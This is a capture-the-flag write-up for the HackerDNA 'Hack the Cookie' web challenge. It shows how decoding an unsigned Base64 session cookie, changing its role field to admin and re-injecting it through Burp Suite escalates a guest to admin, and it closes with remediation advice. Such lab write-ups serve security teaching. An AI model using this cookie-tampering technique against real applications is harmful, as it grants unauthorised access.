HackerDNA — Hack the Cookie: Insecure Session Management

Platform: HackerDNA Challenge: Hack the Cookie Category: Web Difficulty: Easy

Overview

The challenge involves escalating privileges from a guest user to admin by exploiting insecure cookie handling. No signatures. No encryption. Just vibes.

Tools: Burp Suite, FoxyProxy, any Base64 decoder

Credentials given: guest:guest

Route traffic through Burp Suite. After login, inspect the response headers. There's a cookie:

user_session: eyJ1c2VyX2lkIjoxLCJ1c2...

Looks like Base64.

Step 3 — Decode It

echo "eyJ1c2VyX2lkIjoxLCJ1c2Vyb..." | base64 -d

Output:

{
  "user_id": 1,
  "username": "guest",
  "role": "guest",
  "email": "guest@techcorp.local"
}

Session data stored client-side. No HMAC. No signature. The role is just a field in a JSON blob.

Step 4 — Modify and Re-encode

Change "role": "guest" to "role": "admin":

{"user_id":1,"username":"guest","role":"admin","email":"guest@techcorp.local"}

Encode back to Base64:

echo -n '{"user_id":1,"username":"guest","role":"admin","email":"guest@techcorp.local"}' | base64

Step 5 — Inject and Forward

In Burp, replace the user_session cookie value with the modified one. Forward the request.

Application accepts it without question. Admin panel loads. Flag captured.

Why It Works

The server trusted the cookie value entirely — never validated it server-side, never signed it. Base64 is encoding, not encryption. Anyone can decode it, modify it, re-encode it.

The vulnerability: client-side session data with no integrity protection.

The Fix

Never store sensitive data client-side without cryptographic protection
Use signed cookies (JWT with proper signatures, or HMAC-protected values)
Implement server-side session management — store session data on the server, only send a session ID to the client
Validate roles server-side on every privileged action, never trust client input for authorization decisions

Remember: Base64 is not security. It's just encoding.

0xAdham